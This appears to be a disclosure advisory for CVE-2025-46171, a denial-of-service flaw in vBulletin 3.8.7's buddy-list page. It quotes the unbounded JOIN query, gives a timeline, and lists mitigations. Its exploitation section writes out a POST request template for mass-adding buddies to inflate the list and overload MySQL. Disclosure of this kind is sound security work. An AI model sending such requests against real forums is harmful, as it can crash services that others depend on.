vBulletin 3.x.x - DoS via Buddy List Overload

Summary

The /misc.php?do=buddylist endpoint runs a single, large JOIN query that retrieves all buddies along with their user and session information to check online status. Because this query processes the entire buddy list without pagination or result limits, it becomes extremely resource-intensive and can overload the database when the list grows large.

This issue is easy to exploit and requires minimal setup. No special privileges are needed beyond a basic user account. Simply inflating the buddy list is enough to put serious strain on the database.

Affected Versions

• ✅ Confirmed vulnerable: vBulletin 3.8.7

Technical Details

This SQL query retrieves buddy details along with session information to check online status for every buddy. Because it processes the entire buddy list and joins with session data for each entry, the query becomes very large and resource-intensive.

$buddys = $db->query_read_slave("
    SELECT
        user.username,
        (user.options & " . $vbulletin->bf_misc_useroptions['invisible'] . ") AS invisible,
        user.userid,
        session.lastactivity
    FROM " . TABLE_PREFIX . "userlist AS userlist
    LEFT JOIN " . TABLE_PREFIX . "user AS user ON (user.userid = userlist.relationid)
    LEFT JOIN " . TABLE_PREFIX . "session AS session ON (session.userid = user.userid)
    WHERE userlist.userid = {$vbulletin->userinfo['userid']}
        AND userlist.relationid = user.userid
        AND type = 'buddy'
    ORDER BY username ASC, session.lastactivity DESC
");

Timeline

• April 17, 2025: Vulnerability discovered
• April 18, 2025: CVE request submitted to MITRE
• May 29, 2025: CVE-2025-46171 assigned
• June 27, 2025: Public disclosure

Exploitation

Mass Adding Friends

Bulk friend lists can be populated by POSTing to /profile.php with listbits. This can be repeated for thousands of user IDs to inflate the buddy list:

POST /profile.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

securitytoken=TOKEN
&ajax=1
&do=updatelist
&userlist=buddy
&listbits[buddy_original][USER_ID]=USER_ID
&listbits[buddy][USER_ID]=USER_ID
&listbits[friend][USER_ID]=USER_ID
&listbits[friend_original][USER_ID]=USER_ID
...

Impact

On large forums, this can cause severe query lag or crash the MySQL instance altogether.

Mitigation:

• Apply query pagination or limit the number of buddy entries retrieved per request
• Apply rate limiting and validation on buddy list modifications